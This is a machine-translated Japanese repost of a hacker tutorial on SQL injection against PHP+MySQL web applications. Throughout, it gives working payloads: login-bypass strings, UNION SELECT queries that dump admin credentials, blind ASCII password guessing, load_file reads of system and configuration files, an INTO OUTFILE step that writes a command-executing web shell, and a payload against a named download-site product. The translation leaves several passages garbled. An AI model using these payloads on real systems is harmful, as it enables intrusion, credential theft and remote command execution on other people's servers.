ホームページ  >  記事  >  バックエンド開発  >  PHPインジェクショントピック

PHPインジェクショントピック

WBOY
WBOYオリジナル
2016-06-23 14:32:21683ブラウズ

php インジェクション トピック

私を最も愛してくれる両親と、私を助けてくれたすべての人にこの文書を捧げたいと思います。 */

/*@@@@@@@@@@@@@@@@@@@@@ xfocus は画像
のアップロードをサポートしていないため、http://www にアクセスできます。 .54hack.info/txt/php.pdfこの記事の PDF ドキュメントをダウンロードします (画像付き)*/

Php インジェクション攻撃は現在最も人気のある攻撃手法であり、その強力な柔軟性は多くの黒人ファンを魅了しています。

前回の「php セキュリティとインジェクション特別トピック」では、Lin.linx は主に PHP プログラムのさまざまな脆弱性について説明し、PHP + mysql インジェクションの問題についても説明しましたが、インジェクションの問題は比較的少なかったです。
OK、今回は php + mysql インジェクションについて詳しく説明します。必ず満載の内容で家に帰ってもらいます。 !)。
この記事は主におかずのためのものです。すでに老鳥になっている人には退屈に感じるかもしれませんが、注意深く見る限り、興味深いものがたくさんあります。

この記事を読んだ後は、次のことだけを理解する必要があります。

1. php+mysql 環境の構築方法を理解する CD には、構築に関する関連記事が含まれています。 php+mysql 環境の構築についてよくわからない場合は、まずこの記事もお読みください。前回紹介した話題。
2. 主に php.ini と httpd.conf を使用して、php と Apache の構成を一般的に理解します。この記事では、主に php.ini の構成を使用します。安全上の理由から、通常は php.ini でセーフ モードをオンにします。つまり、safe_mode = On にします。もう 1 つは、PHP 実行エラーを返す display_errors です。これは多くの有用な情報を返すため、オフにする必要があります。 ,
つまり、display_errors = offにします。エラー表示をオフにすると、PHP関数の実行エラー情報がユーザーに表示されなくなります。
PHP 設定ファイル php.ini には、非常に重要な設定オプション magic_quotes_gpc もあります。上位バージョンのデフォルトは、オリジナルのアンティークレベルの PHP のみで、デフォルト設定は magic_quotes_gpc=Off ですが、これはアンティークです。 . 人が使っているものもあるよ!
php.ini で magic_quotes_gpc=On にするとどうなりますか? パニックにならないでください。空は落ちません。送信された変数内のすべての ' (一重引用符)、" (二重引用符)、(バックスラッシュ)、および null 文字をバックスラッシュを含むエスケープ文字に変換するだけです。たとえば、' は ' になり、\ に変更されます。多くの場合、文字タイプにはバイバイと言わなければなりません
でも、落胆しないでください。まだ良い対処法がありますので、読み続けてください ! 3. 私たちは php 言語についてある程度の知識を持っています。 SQL ステートメントは非常に単純なので、まだ再充電する時間です

magic_quotes_gpc=Off の場合に何が起こるかを見てみましょう。その後、対処方法を見つけます。 magic_quotes_gpc=On の状況

1: magic_quotes_gpc=Off
Magic_quotes_gpc=Off の場合のインジェクション攻撃は非常に安全ではないと言われていますが、新しいバージョンではデフォルトで
magic_quotes_gpc=On も許可されています。
vbb フォーラムのようないくつかのプログラムもありますが、magic_quotes_gpc=On に設定しても、エスケープ文字を自動的に削除してチャンスを与えることができます。
magic_quotes_gpc=Off は依然として非常に人気があります

ここで、mysql+php インジェクションを構文、インジェクションポイント、インジェクションタイプの側面から詳しく説明します

A: MYSQL 構文から始めましょう
1 。まずはmysqlの構文、勉強が苦手な子向けの補習です~_~
1) select
SELECT [STRAIGHT_JOIN] [SQL_SMALL_RESULT]
select_expression,...
[INTO {OUTFILE} 'file_name ' export_options ]
[FROM table_references
[WHERE where_定義]
[GROUP BYcol_name,...]
[ORDER BY {unsigned_integer | DESC],...]
]
これらは一般的に使用されるものです, select_expression は取得する列を指します。後で where を使用して条件を制限できます。また、into outfile を使用して選択結果をファイルに出力することもできます。もちろん、select を使用して直接出力することもできます

mysql> select 'a';
+---+
| a |
+---+
|セット内の 1 行 (0.00 秒)
詳細については、mysql 中国語マニュアルのセクション 7.12 を参照してください
以下にいくつかの使用法を示します
最初にコードを見てください
このコードは検索に使用されます



"submit" value="検索">
………
SELECT * FROM users WHERE username LIKE '%$search%' ORDER BY username
…….
?>

ここでは、mysql のワイルドカード文字について説明します。ちなみに、「%」はワイルドカード文字で、「*」と「_」はフィールド名と一致するために使用されます。 % " は、フィールド値を照合するために使用されます。% は like と一緒に適用する必要があることに注意してください。また、ワイルドカード文字であるアンダースコア "_" も使用されます。これは、上記とは異なる意味を持ち、照合に使用されます。任意の 1 文字。上記のコードでは、「*」を使用して返されたすべてのフィールド名を表し、%$search% は $search 文字を含むすべてのコンテンツを表します。

どうやって注射するのですか?
はは、これは asp に非常に似ています
フォームで送信
Aabb%' または 1=1 order by id#
注: #in mysql はコメントを意味します。つまり、次の SQL ステートメントは実行されません。後で説明します。
なぜ or 1=1 が使用されるのか疑問に思う人もいるかもしれません。以下を参照してください。

送信されたコンテンツを SQL ステートメントに入れて、

SELECT * FROM users WHERE username LIKE '%aabb%' or 1=1 order by id# になります。 ORDER BY ユーザー名

aabb を含むユーザー名がない場合、or 1=1 は戻り値を true のままにし、すべての値を返すことが可能になります

このようなフォームで送信することもできます

%' order by id #
or
' order by id#
は SQL ステートメントに取り込まれ、
SELECT * FROM users WHERE username LIKE '% %' order by id# ORDER BY username
および
SELECT * FROM users WHERE username LIKE '% になります。 %' order by id# ORDER BY username
もちろん、すべてのコンテンツが返されます。
すべてのユーザーがリストされ、場合によってはパスワードも表示されます。
最初に例を示します。実際には、Select ステートメントはほぼどこにでも使用されます。 U2) UPDATE の説明を見てみましょう
Mysql 中国語マニュアル:
Update [Low_priority] tbl_name set color1 = expr1, color_name2 = expr2, ...
[where where_diction] ATE は新しい値を使用して、既存のテーブルのリストを更新します。既存のテーブル SET 句は、どの列を変更するか、およびその列に与える値を指定します。WHERE 句が指定されている場合は、どの行を更新するかを指定します。それ以外の場合は、すべての行が更新されます。
詳細については、MySQL 中国語マニュアルのセクション 7.17 を参照してください。ここで詳しく紹介すると非常に長くなります。
上記のことから、update は主に記事の変更やユーザーデータの変更などのデータ更新に使用されることがわかります。なぜなら、後者についてより懸念があるようです。
まずコードを見てみましょう。最初にテーブルの構造を確認します。こうすることで、誰でも明確に確認できます。
CREATE TABLE ユーザー (
id int(10) NOT NULL auto_increment、
login varchar(25)、
password varchar(25)、
email varchar(30)、
user tinylevelint,
PRIMARY KEY (id )
)
ここで userlevel はレベルを表し、1 は管理者、2 は通常のユーザーです
//change.php

$sql = "ユーザーの設定パスワードを更新します='$pass', email=' $email' WHERE id='$id'"
...
?>
OK、注入を開始し、電子メールを追加したところに
netsh@163.com' を追加しました。 userlevel='1
sql ステートメント 実行されるのは
UPDATE users SET password='youpass',
email='netsh@163.com', userlevel='1' WHERE id='youid' です
userlevel を見てください。は 1 で管理者になりますよ
はは、とても爽やかなので、帰省の必需品です。
ここで、一重引用符の終わりの問題について簡単に説明します。一重引用符を使用せずにペアを形成する場合、システムはエラーを返します。列の型は主に数値型、日付と時刻の型、文字列型に分類されます。ただし、引用符は一般に文字列型で使用され、数値型では引用符を使用しない人がほとんどです (ただし、引用符は使用できます)。これらは非常に強力です)、日付と時刻の型は注入に使用されることはほとんどありません (時間変数が送信されることはほとんどないため)。以下では、これらのタイプの注入方法について詳しく説明します。

3) さあ、インサートの番です。正午の食堂にいる学生たちと同じように、すでに待ちわびています。
PHP の中国語マニュアルでは次のように教えられています。
INSERT [LOW_PRIORITY] [IGNORE]DELAYED [INTO] tbl_name [(col_name,...)]
VALUES (expression,...), (...) 、。 ..
INSERT は既存のテーブルに新しい行を挿入します。 INSERT ... VALUES 形式のステートメントは、明示的に指定された値に基づいて行を挿入します。 INSERT ... SELECT 形式は、複数の値を含む他のテーブルから選択された行を挿入します。 INSERT ... VALUES 形式テーブルの は MySQL 3.22.5 以降のバージョンでサポートされ、col_name=expression 構文は MySQL 3.22.10 以降のバージョンでサポートされます。
バックエンドを見ることができない人のために、insert は主に登録場所に表示されるか、他の提出場所があることがわかります。

最初にテーブルの構造を見てください
CREATE TABLE メンバー (
id varchar(15) NOT NULL default ''、
login varchar(25)、
password varchar(25)、
email varchar(30)、
userlevel tinyint 、
PRIMARY KEY (id)
)
引き続き userlevel がユーザー レベルを表し、1 が管理者、2 が一般ユーザーであると仮定します。
コードは以下の通りです
//reg.php
...
$query = "INSERT INTO members VALUES('$id','$login','$pass','$email' ,'2' )" ;
...
?>
デフォルトで挿入されるユーザーレベルは 2 です
これでインジェクションステートメントが作成されました
さらに、電子メールの入力を求められる場所に入力します:
netsh@163.com', '1')#
SQL ステートメントが実行されると、次のようになります。
INSERT INTO membres VALUES ('youid','youname','youpass',' netsh@163.com','1')#',? ')
管理者を登録したらすぐに見てください。
# の記号は何を意味するのでしょうか?
後で詳しく説明しますので忘れてください

2. mysql のコメントについて話しましょう。これ以上寝てしまうと、最終試験で失敗してしまいます。あなた。
続けましょう
上記の例でコメントの強力な役割が理解できたと思います。ここで詳しく紹介します。
Mysqlには3種類のコメント構文があります
# コメント記号以降の行の内容を注入します
-- 注入効果は #
/* ... */ 記号の途中の部分をコメントアウトするのと同じです

# 記号は、最もよく使用される注釈メソッドです。
-- コメントとして機能するには、数字の後にスペースが必要であることに注意してください。
/*…*/ 通常、/* は前にのみ使用します。後ろに /* を追加することはできないためです。

注: ブラウザのアドレスバーに # を入力するときは、urlencode によって変換された後に # になり、コメントとして機能するように、%23 と記述する必要があります。ブラウザのアドレスボックスに # 記号が入力されても意味はありません。
皆さんの深い理解のために
ここで例を示します

次のような管理者情報テーブルがあります

CREATE TABLE alphaauthor (
Id tinyint(4) NOT NULL auto_increment,
UserName varchar(50) NOT NULL default '',
パスワード varchar(50) デフォルト NULL,
名前 varchar(50) デフォルト NULL,
主キー (Id),
一意のキー ID (Id),
KEY Id_2 (Id)
)

// Login.php

$query="select * from alphaauthor where UserName='$username' and Password='$passwd'";
$result=mysql_query($query);
$data=mysql_fetch_array($result) ;
if ($data)
Echo 「重要な情報」;
}
Else
Else

?>

ブラウザのアドレスボックスに「
http://*」と直接入力します**/。 login.php?username=a'or id=1 %23
%23 は #
に変換され、SQL ステートメント内に配置されます
select * from alphaauthor where UserName='a'or id=1 #' と Password= を入力してください数字 '$passwd' 以降のすべて
#。この文は
select * from alphaauthor where UserName='a'or id=1 と同等です

テーブルの構造を詳しく見てみましょう。 id=1 のアカウントの場合、返される $data は true であるはずです
もちろん、直接ログインすることもできます
hppt://***/login.php?username=a' または 1= 1 %23
同じです

3. 次に何が起こるかというと…
ちなみに、これらはシステム情報を表示するスパイです

VERSION() はデータベースのバージョン情報を返します
DATABASE() は現在のバージョンを返しますデータベース名。現在のデータベースがない場合、DATABASE() は空の文字列を返します。
USER()
SYSTEM_USER()
SESSION_USER()
現在の MySQL ユーザー名を返す
mysql> select user(),database(),version();
+------------- --+----------------+----------------+
| データベース() | |
+- ---------------+--------------+--------------- ---+
| ローカルホスト 5.0.0-alpha-nt |
+-----+---------- -+------ ----------+
セット1行(0.01秒)
図(1)のように、あまりかっこよくない絵ですね。大きな目を開いてよく見てください

たとえば、mysql のバージョンに基づいて、彼の mysql にオーバーフローの脆弱性があるかどうかを確認できる場合があります。最も重要なことは、寝ていない場合は元気を出し、眠っている場合は目を覚ますことです。
1) select Union select
は、PHP 中国語マニュアルにまだ記載されています:
SELECT ... UNION [ALL] SELECT ... [UNION SELECT ...]
UNION は MySQL 4.0.0 に実装されています。
UNION は、複数の SELECT ステートメントの結果を結果セットに結合するために使用されます。

SELECT の select_expression 部分にリストされている列は、同じ型である必要があります。最初の SELECT クエリで使用された列名が、結果セットの列名として返されます。
SELECT コマンドは通常の選択コマンドですが、次の制限があります:
最後の SELECT コマンドのみ INTO OUTFILE を持つことができます。

ユニオンの前後で選択フィールドの数が同じになることに注意してください。この方法でのみユニオン関数が機能します。フィールドの数が等しくない場合、
ERROR 1222 (21000): 使用された SELECT ステートメントの列数が異なります
が返されます。これは良くありません。なぜ半マイルなのか?
急いではいけません、急いでも無駄です
例: alphadb テーブルには 11 列があることがわかっています
私たちは
mysql> select * from alphadb where id=351 Union select 1,2,3,4,5, 6,7, 8,9,10 from alphaauthor;
図 (2) に示すように

10 個の数字だけを選択しましたが、もちろんエラーがあります。
以下を見てください
mysql> select * from alphadb where id=347 Union select 1,2,3,4,5,6,7,8,9,10,11 from alphaauthor;
図(3)に示すように

まずは id=247 のデータを見てみましょう
mysql> select * from alphadb where id=347;
+-----+-------- --- -----------------------+----------------
| タイトル | | コンテンツ | 作成者 | 変更_ubb |
+-----+ --------------------+----------------
| 347 の使用ハッカー アーカイブ第 2004.6 号に掲載 | ハッカーに掲載 -------------------------------------- +----------- --------
セット内の 1 行 (0.00 秒)
その戻り結果は
mysql> select * from alphadb where id=347 Union と同じであることがわかります。 alphaauthor から 1、2、3、4、5、6、7、8、9、10、11 を選択します。
は同じです。
ああ、これは何の役に立つのかと疑問に思うかもしれません。
良い質問です。
OK、実験を続けます
存在しない ID を入力した場合
たとえば、id=0、または id=347 と 1<>1
もう一度見てください
mysql> select * from alphadb where id=347 and 1< ; >1 Union select 1,2,3,4,5,6,7,8,9,10,11 from alphaauthor;
図(4)に示すように

1,2,3が必要であることがわかりました私たちの後ろでは、表示用に 4、5、6、7、8、9、10、11 が各フィールドに割り当てられています。
はは、ついに表示が変わったけど、何の役に立つの?
まだ教えません。
まず具体的な例について話しましょう
http://localhost/site/display.php?id=347
図 5 を見てください

http://localhost/site/display.php?id=347 と 1<> ;1 Union select 1,2,3,4,5,6,7,8,9,10,11 from alphaauthor
結果を図 6 に示します

図を使用して Union の使い方をまとめてみましょう。図 7

OK、使い方はわかりますか?分からない場合は、以下で詳しく説明します。
2) LOAD_FILE
この関数は強力すぎます。これは、前のトピックで Lin.linx で説明したメソッドでもあります。以前にも言いましたが、もう一度言わなければなりません。
Load_file はファイルの内容を返すことができ、完全なファイルのパスとファイル名を忘れずに書きます
など


mysql> select load_file('c:/boot.ini');
結果は次のようになります図(8)に示されています

では、Webページでは何をすべきでしょうか?
union select と組み合わせて使用​​できます
http://localhost/site/display.php?id=347%20and%201<>1%20union%20select%201,2,load_file('c:/apache /htdocs/ site/lib/sql.inc'),4,5,6,7,8,9,10,11
ここにある c:/apache/htdocs/site/lib/sql.inc は私の構成ファイルではありません. :P
図 9 の

をよく見てください。ファイルの内容は間違いなく公開されています。
なぜフィールド3にload_file('c:/apache/htdocs/site/lib/sql.inc')を入れる必要があるのでしょうか?図 7 に示されている 3 つの列タイプがあることは前述しましたが、記事のコンテンツは文字タイプである必要があり、load_file('c:/apache/htdocs/site/lib/sql. inc') は記事のコンテンツを表示する必要があります。も文字型なのでフィールド3に入れるとスムーズに表示されると思われます。
実際には、良い使用方法がたくさんあります。読み続けてください。
3) select * from table into outfile'file.txt'
の用途は何ですか?
この関数はテーブルの内容をファイルに書き込むことです。これがどれほど重要であるかがわかったので、Web シェルを作成しましょう (笑)。
もちろん、テーブルをエクスポートするだけではなく、他のものもエクスポートできます。以下を参照してください。
次のテーブルがあるとします

#
# データテーブルの構造`test`
#

CREATE TABLE test (
a text,
b text
) ENGINE=MyISAM DEFAULT CHARSET=latin1;

#
# 次のデータベース コンテンツをエクスポートします`test`
#

INSERT INTO test VALUES ('', NULL);

私の Web サイトのパスは C であることがわかっています。 /apache/htdocs/site /
それでは、パフォーマンスを見てみましょう。
http://localhost/site/display.php?id=451%20and%201=2%20%20union%20select%201,2,a と入力してください。 ,4,5,6 ,7,8,9,10,11%20from%20test%20into%20outfile%20'C:/apache/htdocs/site/cmd.php'
これは、テーブルの列 a の内容を cmd.phpzhong にエクスポートすることを意味します
まず cmd.php の内容を見てください
1 2 0000-00-00 00:00: 00 5 6 7 8 9 10 11
まずは​​実行して見てみましょう
http://localhost/site/cmd.php?cmd=dir
写真(10)に示すように


はは、本当にかっこいいですね!
4) LOAD DATA INFILE の話をしましょう

LOAD DATA [LOW_PRIORITY] [LOCAL] INFILE 'file_name.txt' [REPLACE | IGNORE] INTO TABLE tbl_name

LOAD DATA INFILE ステートメントは、次のテキスト ファイルから読み取ります。 a 高い テーブルへの読み取り速度。
通常の状況ではこのステートメントをブラウザに直接入力できないため、あまり役に立ちません。

一例です
テーブルtestの構造は上で紹介したものと同じです

#
# データテーブル`test`の構造
#

CREATE TABLE test(
a text,
b text
) ENGINE= MyISAM DEFAULT CHARSET=latin1;


mysql コマンドラインで次のように入力します:
Mysql>load data infile 'c:/cmd.php' into table test

ここで、c:/cmd.php の内容はis

注: 上記の内容は 1 行で記述されています。
上記のコマンドにより、cmd.asp の内容をテスト テーブルに入力します
結果は図 (11) に示すとおりです

実際、取得したのは前の例のテスト テーブルの内容です。 outfile と組み合わせると完璧な組み合わせになるか見てみましょう。
基本的な構文については以上です。不足している重要な点がたくさんあるかもしれません。ぜひ自分で調べてみてください。 (CD には PHP 中国語マニュアルが付属しています)

B: 注入方法
には、主に数値タイプ、文字タイプ、検索タイプがあります
1 数値タイプ
は非常に一般的で、上で説明したものは常に文字です。たとえば、ASP で管理者パスワードを破る方法を誰もが覚えているはずです。php でそれを実現する方法を見てみましょう。アドレス バーに「
http://localhost/site/display.php?」と入力します。 id=451%20and% 201=(select%20min(id)%20from%20alphaauthor)
alphaauthor が存在するかどうかを判断し、存在する場合は通常のページに戻ります (通常、他のものが返されることがあります。これは主に構造1=1と1=2 その時のページ判断)

http://localhost/site/display.php?id=451%20and%201=(select%20min(id)%20from%20alphaauthor%20where% 20length(username)=5)
判定 ユーザー名フィールドの長さが5であるかどうか

http://localhost/site/display.php?id=451%20and%201=(select%20min(id)%20from%20alphaauthor %20where%20length(username)=5% 20and%20length(password)=32)
上記とほぼ同じで、パスワードフィールドの長さを決定します

今度はパスワードを推測する段階に入り、asciiメソッドを使用して一つ一つ推測してください。 Ascii は、ASP の asc に相当します。ハッカー X ファイルをよく見る人には明らかでしょう。
http://localhost/site/display.php?id=451%20and%201=(select%20min(id)%20from%20alphaauthor%20where%20ascii(mid(username,1,1))=97)
ユーザー名の最初の文字は ascii97 で、文字 a

http://localhost/site/display.php?id=451%20and%201=(select%20min(id)%20from%20alphaauthor%20where%20ascii (mid (ユーザー名,2,1))=108)
2 番目に、図 (12) に示すように、この図のみがここに表示されます


下の X 行は省略します。
とにかく、ついにユーザー名とパスワードを取得しました。
ここでの注入方法は、ASP での注入とほぼ同じであることがわかります。つまり、asc を ascii に、len を length に変更します。最後に、バックグラウンド管理者のアカウントとパスワードを取得できます。もっと簡単な方法としては、union メソッドを使用して直接取得できます

http://localhost/site/display.php?id=451%20and%201=2%20%20union%20select%201,username,password, 4,5,6,7,8,9,10,11%20from%20alphaauthor
図 (13) に示すように

アカウントはアルファで、パスワードは長いリストです (笑)、シンプルで明確ですわかりますか、ここはユニオンセレクトの強力な力を示しています。

上記は、異なるテーブルのコンテンツを推測する方法です。同じテーブル内にある場合は、次のように行うこともできます。
次のコードは、ユーザー ID に基づいてユーザー情報を表示します

//user.php
…………..
$sql = "SELECT * FROM user WHERE id=$id";
…………

if (!$result)
{
echo "wrong";
exit;
}
else
echo "ユーザー情報";
?>

推測方法は上記とほぼ同じです。つまり、select を使用する必要がなくなりました。
http://localhost/user.php?id=1 と length(password)=7 を入力します
ユーザー情報を表示すると、推測が正しいことがわかります。ははは、さあ

http://localhost/user.php? id =1 および ascii(mid(password,1,1))=97
最初のパスワード
http://localhost/user.php?id=1 および ascii(mid(password,2,1))=97
2 番目、

このメソッドを使用すると、最終的に id=1 のユーザーのアカウント パスワードを取得できます

2. 文字の挿入方法を見てみましょう
ASP での文字の挿入方法は非常に柔軟です。PHP では、主に
magic_quotes_gpc=Off のときに文字の挿入が実行されます。 (別の状況がない限り、まだお知らせしません)

例:
//display.php

$query="select * from alphadb where id='".$id ." '";
…………..
?>
このように、idが文字種になります。
お気づきか分かりませんが、このようにプログラムを書けばセキュリティが向上します
はは、続けましょう
まずインジェクションがあるかどうか確認しましょう
http://localhost/site/display. php?id= 451' と 1=1 と ''='
http://localhost/site/display.php?id=451' と 1=2 と ''='
これを SQL ステートメントに入れるのは
select * from alphadb where id='451'and 1=1 and ''=''
select * from alphadb where id='451'and 1=2 and ''=''

ページ情報がが異なる場合、
または
http://localhost/site/display.php?id=451' および 1=1 %23
http://localhost/site/display.php?id= が存在することを意味します。 451' と 1=2 %23
% 23 を変換すると # となり、コメントを意味します
この場合、実は、引用符の終わりを考慮する必要はありません。多くの場合、この方法をお勧めします。
これを SQL ステートメントに入れると、
select * from alphadb where id=’451’and 1=1 #’ になります
まさに私たちが望んでいることです。
効果を見てください、
http://localhost/site/display.php?id=451' と 1=1 %23
写真 (14)

正常に表示されています。

http://localhost/site/display.php?id=451' and 1=2 %23
写真 (15)


表示が正常ではありません、笑、問題があることを意味します
続けましょう:
http://localhost/site/display.php?id=451'%20and%201=2%20%20union%20select%201,ユーザー名,パスワード,4,5,6,7,8,9,10, 11%20from% 20alphaauthor%23
写真 (16) を見てください

OK、ユーザー名とパスワードがまた出ました!
3. 検索インジェクションを見てみましょう。検索ステートメントは一般的に次のように記述されます
//search.php
……
$query="select * from alphadb where title like '%$title %' ;
…………..
?>
ASP でのインジェクションをまだ覚えていますか?
覚えていなくても問題ありません。見てみましょう
インジェクション ステートメントを作成しましょう
入力ボックス。 input
a%' と 1=2 Union select 1,username,3,4,5,6,7,8,password,10,11 from alphaauthor# を SQL ステートメントに入れて

select * from alphadb とします。ここで、タイトルは '%a%' で、1=2 の共用体は alphaauthor# %' から 1,username,3,4,5,6,7,8,password,10,11 を選択します
結果は図 17 に示すとおりです

どうですか?出てきてください、ははは、すべてが制御されています

C: 注入場所からさまざまな注入攻撃方法を見てみましょう
1) まず、バックグラウンドのログイン
コードを見てみましょう
//login.php
….
$query="select * from alphaauthor where UserName='"
.$HTTP_POST_VARS["UserName"]."' および
Password='"。 ."'";
$result=mysql_query($query);
$data=mysql_fetch_array($result);
if ($data)
{
echo "バックエンドログイン成功";
}
esle
{
echo "もう一度ログイン";
終了;


......
?>
ユーザー名とパスワードは、何の処理も行わずに直接SQLに入力されて実行されます。
それをバイパスする方法を見てみましょう?
最も古典的なものです。まだこれです:
ユーザー名とパスワードの両方のボックスに
'or''=' を入力し、
それを SQL ステートメントに取り込み、
select * from alphaauthor where UserName=''or''='' and Password=' になります。 'or''=' '
この方法で取り込まれた $data は true である必要があります。これは、正常にログインしたことを意味します。
他のバイパス方法もありますが、原理は同じです。$data を返す方法を見つけるだけです。真実。
次の方法が使用できます
1.
ユーザー名とパスワードの両方に「or'a'='a」と入力します
Sqlは
select * from alphaauthor where UserName=''or'a'='a' and Password='になります'or'a'='a'

2.
ユーザー名とパスワードの両方を入力してください'or 1=1 and ''='
Sql は
select * from alphaauthor where UserName=' 'or 1=1 and ''= '' および Password=' ' または 1=1 および ''=''
ユーザー名とパスワードの両方を入力 'または 2>1 および ''='
Sql は
select * from alphaauthor where UserName=' ' 'または 2>1 and ''='' and Password=' 'or 2>1 and ''=''

3.
ユーザー名を入力 'or 1=1 # パスワードを好きなように入力
Sql になりました
select * from alphaauthor where UserName=’ ’or 1=1 # and Password=’anything’
後半部分はコメントアウトされていますが、もちろん戻り値はtrueです。
4.
管理者のid=1として、

ユーザー名を入力 'またはid=1 # パスワードを好きなように入力
Sqlは
select * from alphaauthor where UserName=' 'または id=1 #そして、Password= 'anything'
画像 18 はどうでしょうか

レンダリング 19 を見てください


?直接ログインしてください!

よく言われるように、想像できない限り不可能なことはありません。
授業後には、さらに多くの構築方法を考えてみましょう。

2) 2 番目によく使用される注入場所は、フロントエンド データが表示される場所である必要があります。
これについては上で何度も言及されており、数字や文字などが含まれるため、ここでは繰り返しません。
確認する例です
Bihai Chaosheng ダウンロード サイト-v2.0.3 lite にはインジェクションの脆弱性があり、コードはリストに表示されなくなりました
結果を直接確認してください
http://localhost/down/index.php?url=&dlid= 1%20and%201=2%20union%20select%201,2,パスワード,4,ユーザー名,6,7,8,9,10,11,12,13,14,15,16,17,18%20from% 20dl_users
図 20 に示すように

ほら、また欲しかったものを手に入れました
ユーザー名 alpha
パスワードの長いリスト。
なぜ 3 フィールドにパスワードを入力し、5 フィールドにユーザー名を入力するのでしょうか? それは、3 と 5 の段落が文字列タイプで表示されるべきであると推測しているためです。ユーザー名とパスワードのフィールドの種類は同じである必要があるため、次のように配置します。
なぜ 18 個のフィールドを使用するのですか?結合選択の導入で、結合には選択の前後で同じ数のフィールドが必要であると述べたことをまだ覚えているかどうかはわかりませんが、選択の数を増やすと、18 個のフィールドが必要になると推測できます。この方法でのみ、union select の内容が正常に表示されます。
3) その他のデータ変更の場合は、ユーザーが登録する場所にユーザーレベルのアプリケーションが必要です。
更新と挿入については、上で説明したときにすでに言及しましたが、あまり一般的には使用されないため、ここでは詳しく説明しません。更新と挿入に関するいくつかの高度な利用テクニックについて説明します。
2: 次に、magic_quotes_gpc=On の場合にインジェクション攻撃の指導セッションに入ります
magic_quotes_gpc=On の場合、変数内のすべての ' (一重引用符)、
" (二重引用符)、(バックスラッシュ) および空文字が渡されます。文字はバックスラッシュを含むエスケープ文字に自動的に変換されます。これにより、現時点では
Intval() 処理を行わずに数値型を挿入することしかできなくなります。数値型は一重引用符を使用しないので、この場合は直接挿入するだけで問題ありません
1) 文字型の場合は、次のようにする必要があります。文字を囲む引用符はありません。
ここでは、いくつかの文字列処理関数を使用する必要があります。
ここでは、主に次の関数について説明します。詳しくは、MySQL 中国語リファレンス マニュアル 10 を参照してください。

char() はパラメータを整数として解釈し、これらの整数の ASCII コード文字で構成される文字列を返します
もちろん、文字を 16 進数に置き換えることも可能です。 16 進数の前に 0x を追加します。以下の例を参照してください。

ここで、UserName=$username and Password='".$Pw."'";
...
?>

ユーザー名が背景はアルファです
ASCII に変換すると、char(97,108,112,104,97) になります
変換 16 進値は 0x616C706861 です
(CD には 16 進数と ASCII の変換ツールが用意されています)
ブラウザに直接入力してください:

http://localhost/site/admin/login.php?username= char(97,108,112,104,97)%23
sql ステートメントは次のようになります:

select * from alphaAuthor where UserName=char(97,108,112,104,97)# and Password=' '
図 21

予想どおり、彼はスムーズに実行しました。はい、必要なものが得られました
もちろん、次のように構築することもできます
http://localhost/site/admin/login.php?username=0x616C706861 %23
sql ステートメントは次のようになります:
select * from alphaAuthor where UserName=0x616C706861%23# and Password=''
私たちが再び勝者です。とても達成感があります。

char() に # を入れることもできるかどうか尋ねられるかもしれません
実際、char(97,108,112,104,97) は 'alpha' に相当します
alpha は引用符で囲まれており、アルファであることを示していることに注意してください弦 。
mysql で

mysql> select * from dl_users where username=alpha;
ERROR 1054 (42S22): Unknown columns 'alpha' in 'where 句' を実行するとわかります。返されたエラーを参照してください。なぜなら、彼はアルファが変数であると考えるからです。したがって、アルファを引用符で囲む必要があります。
以下の通り
mysql> select * from dl_users where username='alpha';
これは正しいです。
そこに # 記号を入れると 'alpha#' になります
それを SQL ステートメントに入れます
select * from dl_users where username='alpha#';
もちろん、alpha #This user でも何もありません。存在しない。
それでは、別の例を見てみましょう、

//display.php

$query="select * from ".$art_system_db_table['article']."
where type=$type ;
...
?>

このコードは型に応じて内容を表示します。$type にはフィルタリングがなく、プログラム内で引用符で囲まれていません。
その型には xiaohua クラスと xiaohua の文字が含まれていると仮定します。 () は
char (120,105,97,111,104,117,97) に変換されます

http://localhost/display.php?type=char(120,105,97,111,104,117,97) と 1=2 Union select 1,2 を構築します。 alphaauthor
からの username,4,password,6, 7,8,9,10,11 は SQL ステートメントに取り込まれます:
select * from ".$art_system_db_table['article']." where type=char(120,105, 97,111,104,117,97) と 1=2 Union select 1,2,username,4,password,6,7,8,9,10,11 from alphaauthor
スクリーンショットはありませんが、想像してみてください。 P

2) 誰かが、magic_quotes_gpc=On の場合でも強力なload_file() を使用できるのかと尋ねるかもしれません
これは、まさに以下で取り上げる質問です。load_file() の使用形式は、load_file('file path' )です
。 「ファイルパス」を char() に変換するだけであることがわかりました。試してみてください
load_file('c:/boot.ini') を
load_file(char(99,58,47,98,111,111,116,46,105,110,105). ))
図22

それを特定のインジェクションに入れます
http://localhost/down/index.php?url=&dlid=1%20and%201=2%20union%20select%201,2,load_file(char( 99,58 ,47,98,111,111,116,46,105,110,105)),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18
写真23を見てください

見てください、私たちboot.ini の内容を確認しました。
into outfile'' をバイパスできないのは残念ですが、そうでなければさらに楽しいでしょう。しかし、select * from table into outfile'' を使用できる場所はまだあります。それは... (最初に少し説明します。以下で説明します)
3: いくつかの注入テクニック、その多くはは個人的な発見です
1. ユニオン選択テクニック
UNION は、複数の SELECT ステートメントの結果を結果セットに結合するために使用されます。 SELECT の select_expression 部分にリストされている列は、同じ型である必要があります。最初の SELECT クエリで使用された列名が、結果セットの列名として返されます。
ただし、次の方法を使用して列の型を推測することができ、時間を大幅に節約できます
まず始めましょう
http://localhost/down/index.php?url=&dlid=1%20and%201=2%20union % 20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18
図 24

ソフトウェアの説明を見てください。は 3 と言っていますが、作者は 4 と書いているので、3 と 4 の位置が文字型であると推測できます。14 より前のダウンロード数を見てみましょう。これは int 型であるはずです。
さて、これをベースに構築してみましょう。 ユーザー名とパスワードも文字タイプであると推定されます。
試してみる
http://localhost/down/index.php?url=&dlid=1%20and%201=2%20union%20select%201,2,password,4,username,6,7,8,9 ,10,11,12,13,14,15,16,17,18%20from%20dl_users
図25に示すように

はは、この方法は見ただけで大体推測できますね。
2.load_fileを使ったファイルの読み書きのヒント
load_file()を使ってphpファイルを読み書きすると、Webページに表示できないことに気づいたでしょうか。例:
「C:/apache/htdocs/site/lib/sql.inc.php」は 0x433A2F6170616368652F6874646F63732F736974652F6C69622F73716C2E696E632E706870 に変換されます。構造は次のとおりです
http://localhost/site/display.php?id=451 % 20and%201=2%20%20union%20select%201,2,load_file(0x433A2F6170616368652F6874646F63732F736974652F6C69622F73716C2E696E632E706870),4,5,6,7,8 、9,10,11
図26に示すように

内容が記事の sql.inc.php が表示されるはずですが、空になっています。なぜでしょうか。
まずウェブページのソースコードを見てみましょう
写真27

